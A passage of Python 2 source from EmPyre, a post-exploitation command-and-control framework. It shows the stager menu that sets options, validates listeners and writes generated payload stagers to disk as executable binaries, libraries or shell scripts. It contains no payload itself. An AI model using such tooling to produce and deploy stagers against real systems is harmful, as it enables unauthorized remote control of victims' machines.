return False
listenerName = self.stager.options['Listener']['Value']
if not self.mainMenu.listeners.is_listener_valid(listenerName):
print helpers.color("[!] Invalid listener ID or name.")
return False
return True
def emptyline(self):
pass
# print a nicely formatted help menu
# stolen/adapted from recon-ng
def print_topics(self, header, cmds, cmdlen, maxcol):
if cmds:
self.stdout.write("%s\n" % str(header))
if self.ruler:
self.stdout.write("%s\n" % str(self.ruler * len(header)))
for c in cmds:
self.stdout.write("%s %s\n" % (c.ljust(17), getattr(self, 'do_' + c).__doc__))
self.stdout.write("\n")
def do_back(self, line):
"Go back a menu."
return True
def do_agents(self, line):
"Jump to the Agents menu."
raise NavAgents()
def do_listeners(self, line):
"Jump to the listeners menu."
raise NavListeners()
def do_main(self, line):
"Go back to the main menu."
raise NavMain()
def do_exit(self, line):
"Exit EmPyre."
raise KeyboardInterrupt
def do_list(self, line):
"Lists all active agents (or listeners)."
if line.lower().startswith("listeners"):
self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:])))
elif line.lower().startswith("agents"):
self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:])))
else:
print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")
def do_info(self, line):
"Display stager options."
messages.display_stager(self.stagerName, self.stager)
def do_options(self, line):
"Display stager options."
messages.display_stager(self.stagerName, self.stager)
def do_set(self, line):
"Set a stager option."
parts = line.split()
try:
option = parts[0]
if option not in self.stager.options:
print helpers.color("[!] Invalid option specified.")
elif len(parts) == 1:
# "set OPTION"
# check if we're setting a switch
if self.stager.options[option]['Description'].startswith("Switch."):
self.stager.options[option]['Value'] = "True"
else:
print helpers.color("[!] Please specify an option value.")
else:
# otherwise "set OPTION VALUE"
option = parts[0]
value = " ".join(parts[1:])
if value == '""' or value == "''":
value = ""
self.stager.options[option]['Value'] = value
except:
print helpers.color("[!] Error in setting option, likely invalid option name.")
def do_unset(self, line):
"Unset a stager option."
option = line.split()[0]
if line.lower() == "all":
for option in self.stager.options:
self.stager.options[option]['Value'] = ''
if option not in self.stager.options:
print helpers.color("[!] Invalid option specified.")
else:
self.stager.options[option]['Value'] = ''
def do_generate(self, line):
"Generate/execute the given EmPyre stager."
if not self.validate_options():
return
stagerOutput = self.stager.generate()
savePath = ''
if 'OutFile' in self.stager.options:
savePath = self.stager.options['OutFile']['Value']
if savePath != '':
# make the base directory if it doesn't exist
if not os.path.exists(os.path.dirname(savePath)) and os.path.dirname(savePath) != '':
os.makedirs(os.path.dirname(savePath))
# if we need to write binary output for a .dll
if ".dll" in savePath:
f = open(savePath, 'wb')
f.write(bytearray(stagerOutput))
f.close()
elif "macho" in self.stager.info['Name']:
f = open(savePath, 'wb')
f.write(stagerOutput)
f.close()
os.chmod(savePath, 0777)
elif "dylib" in savePath:
f = open(savePath, 'wb')
f.write(stagerOutput)
f.close()
os.chmod(savePath, 0777)
else:
# otherwise normal output
f = open(savePath, 'w')
f.write(stagerOutput)
f.close()
# if this is a bash script, make it executable
if ".sh" in savePath:
os.chmod(savePath, 777)
print "\n" + helpers.color("[*] Stager output written out to: "+savePath+"\n")
else:
print stagerOutput
def do_execute(self, line):
"Generate/execute the given EmPyre stager."
self.do_generate(line)
def complete_set(self, text, line, begidx, endidx):
"Tab-complete a stager option to set."
options = self.stager.options.keys()
if line.split(" ")[1].lower() == "listener":
# if we're tab-completing a listener name, return all the names
listenerNames = self.mainMenu.listeners.get_listener_names()
endLine = " ".join(line.split(" ")[1:])
mline = endLine.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in listenerNames if s.startswith(mline)]
elif line.split(" ")[1].lower().endswith("path"):
# tab-complete any stager option that ends with 'path'
return helpers.complete_path(text, line, arg=True)
# otherwise we're tab-completing an option name
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in options if s.startswith(mline)]
def complete_unset(self, text, line, begidx, endidx):
"Tab-complete a stager option to unset."
options = self.stager.options.keys() + ["all"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in options if s.startswith(mline)]
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